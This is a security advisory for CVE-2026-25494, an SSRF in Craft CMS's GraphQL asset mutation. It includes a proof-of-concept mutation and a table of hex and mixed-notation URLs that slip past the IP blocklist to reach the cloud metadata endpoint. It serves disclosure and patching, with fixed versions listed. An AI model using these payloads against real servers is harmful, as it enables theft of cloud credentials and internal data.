Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation
I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.
Summary
The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.
Proof of Concept
- Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "http://169.254.0xa9fe/latest/meta-data/"
filename: "metadata.txt"
}) {
id
}
}
- The IP validation passes (hex notation not recognized as IP)
- Guzzle resolves
169.254.0xa9feto169.254.169.254 - Cloud metadata is fetched and saved
Alternative Payloads
| Payload | Notation | Resolves To |
|---|---|---|
http://169.254.0xa9fe/ |
Mixed (decimal + hex) | 169.254.169.254 |
http://0xa9.0xfe.0xa9.0xfe/ |
Full hex dotted | 169.254.169.254 |
http://0xa9fea9fe/ |
Single hex integer | 169.254.169.254 |
Technical Details
File: src/gql/resolvers/mutations/Asset.php
Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | craftcms/cms | >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 | 5.8.22, 4.16.18 |
References
- https://github.com/craftcms/cms/security/advisories/GHSA-m5r2-8p9x-hp5m
- https://nvd.nist.gov/vuln/detail/CVE-2026-25494
- https://github.com/craftcms/cms/commit/d49e93e5ba0c48939ce5eaa6cd9b4a990542d8b2
- https://github.com/craftcms/cms
- https://github.com/craftcms/cms/releases/tag/4.16.18
- https://github.com/craftcms/cms/releases/tag/5.8.22
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X- Weakness (CWE)
CWE-918- Platform
- Composer
- Package
craftcms/cms- Disclosed
- 09.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m5r2-8p9x-hp5m - CC BY 4.0
Vulnerability history: craftcms/cms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 127
- First → latest
- 07.2021 08.2026
- Without a fix
- 6
- Exploited in attacks
- 4
Severity breakdown
- Critical 9
- High 41
- Medium 65
- Low 12
Disclosures per year
- 2021: 3
- 2022: 22
- 2023: 13
- 2024: 9
- 2025: 6
- 2026: 74
-
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation this entry
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